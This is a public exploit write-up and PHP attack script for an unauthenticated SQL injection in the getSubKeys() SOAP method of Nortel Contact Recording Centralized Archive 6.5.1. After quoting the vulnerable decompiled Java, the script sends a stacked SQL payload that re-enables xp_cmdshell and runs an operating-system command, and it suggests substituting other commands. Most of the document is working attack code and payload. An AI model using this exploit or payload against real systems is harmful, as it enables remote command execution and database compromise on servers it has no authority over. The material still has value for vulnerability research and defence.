Nortel Contact Recording Centralized Archive 6.5.1 - SQL Injection Exploit



<?php

/*
Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration 
Web Service getSubKeys() Remote SQL Injection Exploit

tested against:
Microsoft Windows Server 2003 r2 sp2
Microsoft SQL Server 2005 Express

download uri:
ftp://ftp.avaya.com/incoming/Up1cku9/tsoweb/web1/software/c/contactcenter/crqm/6_5_CS1K_2/Nortel-DVD3-Archive-6_5.iso

background:

This software installs a Tomcat http server which listens on
port 8080 for incoming connections. It exposes the
following servlet as declared inside
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml :

...
   <servlet-mapping>
      <servlet-name>EyrAPIConfiguration</servlet-name>
      <url-pattern>/EyrAPIConfiguration/*</url-pattern>
   </servlet-mapping>
...

at the following url:

http://[host]:8080/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf


Vulnerability:

without prior authentication, you can reach a web service
with various methods availiable, as described inside
the associated wsdl, see file:

c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\EyrAPIConfiguration.wsdl 

among them, the getSubKeys() method.

Now look at getSubKeys() inside the decompiled
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\com\eyretel\eyrapi\EyrAPIConfigurationImpl.class

:
...
 public String getSubKeys(boolean iterateSubKeys, boolean includeValues, String systemId, String componentId, String sysCompId, String userName)
        throws RemoteException
    {
        StringBuffer xml;
        ConfigOwnerId configOwnerId;
        Connection conn;
        PreparedStatement pStmt;
        ResultSet rs;
        PreparedStatement pStmt2;
        ResultSet rs2;
        log.info((new StringBuilder()).append("Request getSubKeys: iterateSubKeys=").append(iterateSubKeys).append(", includeValues=").append(includeValues).append(", SystemId=").append(systemId).append(", componentId=").append(componentId).append(", sysCompId=").append(sysCompId).append(", userName=").append(userName).toString());
        xml = new StringBuffer("<ConfigurationNodeList>");
        configOwnerId = null;
        conn = null;
        pStmt = null;
        rs = null;
        pStmt2 = null;
        rs2 = null;
        try
        {
            conn = SiteDatabase.getInstance().getConnection();
            if(EyrAPIProperties.getInstance().getProperty("database", "MSSQLServer").equalsIgnoreCase("Oracle"))
            {
                if(componentId.compareToIgnoreCase("") == 0)
                    componentId = "*";
                if(systemId.compareToIgnoreCase("") == 0)
                    systemId = "*";
                if(sysCompId.compareToIgnoreCase("") == 0)
                    sysCompId = "*";
                if(userName.compareToIgnoreCase("") == 0)
                    userName = "*";
                pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE nvl(ComponentID, '*') = '").append(componentId).append("' AND ").append("nvl(SystemID, '*') = '").append(systemId).append("' AND ").append("nvl(SysCompID, '*') = '").append(sysCompId).append("' AND ").append("nvl(UserName, '*') = '").append(userName).append("'").toString());
                rs = pStmt.executeQuery();
            } else
            {
                pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE ISNULL(CONVERT(varchar(36), ComponentID), '') = '").append(unpunctuate(componentId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SystemID), '') = '").append(unpunctuate(systemId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SysCompID), '') = '").append(unpunctuate(sysCompId)).append("' AND ").append("ISNULL(UserName, '') = '").append(unpunctuate(userName)).append("'").toString());
                rs = pStmt.executeQuery();
            }
            if(rs.next())
            {
                String strConfigOwnerId = rs.getString(1);
                if(!rs.wasNull())
                    configOwnerId = new ConfigOwnerId(strConfigOwnerId);
                pStmt2 = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigGroupID, ConfigGroupName FROM ConfigGroupView WHERE ConfigOwnerID = '").append(configOwnerId.toString()).append("'").toString());
                for(rs2 = pStmt2.executeQuery(); rs2.next(); xml.append(getSubKeyValuesInc(new Integer(rs2.getInt(1)), iterateSubKeys, includeValues)));
            }
        }
        catch(SQLException e)
        {
            String msg = "Unable to get subkeys";
            log.error(msg, e);
            throw new RemoteException(msg, e);
        }
        catch(GenericDatabaseException e)
        {
            String msg = "Unable to get subkeys";
            log.error(msg, e);
            throw new RemoteException(msg, e);
        }
        DbHelper.closeStatement(log, pStmt);
        DbHelper.closeResultSet(log, rs);
        DbHelper.closeStatement(log, pStmt2);
        DbHelper.closeResultSet(log, rs2);
        DbHelper.closeConnection(log, conn);
        break MISSING_BLOCK_LABEL_646;
        Exception exception;
        exception;
        DbHelper.closeStatement(log, pStmt);
        DbHelper.closeResultSet(log, rs);
        DbHelper.closeStatement(log, pStmt2);
        DbHelper.closeResultSet(log, rs2);
        DbHelper.closeConnection(log, conn);
        throw exception;
        xml.append("\n</ConfigurationNodeList>");
        log.info((new StringBuilder()).append("Response createKey= ").append(xml).toString());
        return xml.toString();
    }
...

This function uses unproperly the prepareStatement() function, a SELECT query is concatenated
inside of it and using user supplied values.

Note also that the unpunctuate() function is unuseful to clean the passed values:

...
protected String unpunctuate(String id)
    {
        StringBuffer sb = new StringBuffer(id);
        try
        {
            if(sb.charAt(0) == '{')
                sb.deleteCharAt(0);
        }
        catch(StringIndexOutOfBoundsException e) { }
        try
        {
            if(sb.charAt(36) == '}')
                sb.deleteCharAt(36);
        }
        catch(StringIndexOutOfBoundsException e) { }
        return sb.toString();
    }
...

As result, a remote attacker can send a SOAP message against port 8080 containing the 
getSubKeys string to execute arbitrary sql commands against the 
underlying database.

The following code tries to execute calc.exe (if the xp_cmdshell stored procedure
is not enabled, it will try to reenable it via 'sp_configure', assuming you have
the privileges of the 'sa' user), otherwise use your imagination.

Note: Reportedly, this product is end of sale ... so it's better you are aware of
it just in case you have an online installation exposed to user input :)

rgod
*/
    
error_reporting(E_ALL E_NOTICE);     
    
set_time_limit(0);
    
    
$err[0] = "[!] This script is intended to be launched from the cli!";
    
$err[1] = "[!] You need the curl extesion loaded!";

    if (
php_sapi_name() <> "cli") {
        die(
$err[0]);
    }
    
    function 
syntax() {
       print(
"usage: php 9sg_nortel.php [ip_address]\r\n" );
       die();
    }
    
    
$argv[1] ? print("[*] Attacking...\n") :
    
syntax();
    
    if (!
extension_loaded('curl')) {
        
$win = (strtoupper(substr(PHP_OS03)) === 'WIN') ? true :
        
false;
        if (
$win) {
            !
dl("php_curl.dll") ? die($err[1]) :
             print(
"[*] curl loaded\n");
        } else {
            !
dl("php_curl.so") ? die($err[1]) :
             print(
"[*] curl loaded\n");
        }
    }
        
    function 
_s($url$is_post$ck$request) {
        global 
$_use_proxy$proxy_host$proxy_port;
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL$url);
        if (
$is_post) {
            
curl_setopt($chCURLOPT_POST1);
            
curl_setopt($chCURLOPT_POSTFIELDS$request);
        }
        
curl_setopt($chCURLOPT_HEADER1);
        
curl_setopt($chCURLOPT_HTTPHEADER, array(
            
"Cookie: ".$ck ,
            
"Content-Type: text/xml"
            

        
)); 
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_USERAGENT"");
        
curl_setopt($chCURLOPT_TIMEOUT0);
         
        if (
$_use_proxy) {
            
curl_setopt($chCURLOPT_PROXY$proxy_host.":".$proxy_port);
        }
        
$_d curl_exec($ch);
        if (
curl_errno($ch)) {
            
//die("[!] ".curl_error($ch)."\n");
        
} else {
            
curl_close($ch);
        }
        return 
$_d;
    }
          
$host $argv[1];
          
$port 8080;

print(
"[*] Check for spawned calc.exe sub process.\n");
$sql="'; ".
     
"EXEC sp_configure 'show advanced options',1;RECONFIGURE;".
     
"EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;".
     
"EXEC xp_cmdshell 'calc';--";
$soap='<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://com.eyretel.eyrapi.org/wsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <wsdl:getSubKeys soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <boolean_1 xsi:type="xsd:boolean">true</boolean_1>
         <boolean_2 xsi:type="xsd:boolean">true</boolean_2>
         <String_3 xsi:type="xsd:string">'
.$sql.'</String_3>
         <String_4 xsi:type="xsd:string">yyyy</String_4>
         <String_5 xsi:type="xsd:string">zzzz</String_5>
         <String_6 xsi:type="xsd:string">kkkk</String_6>
      </wsdl:getSubKeys>
   </soapenv:Body>
</soapenv:Envelope>'
;
$url "http://$host:$port/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf";
$out _s($url1""$soap);
print(
$out."\n");
print(
"[*] Done.");
?>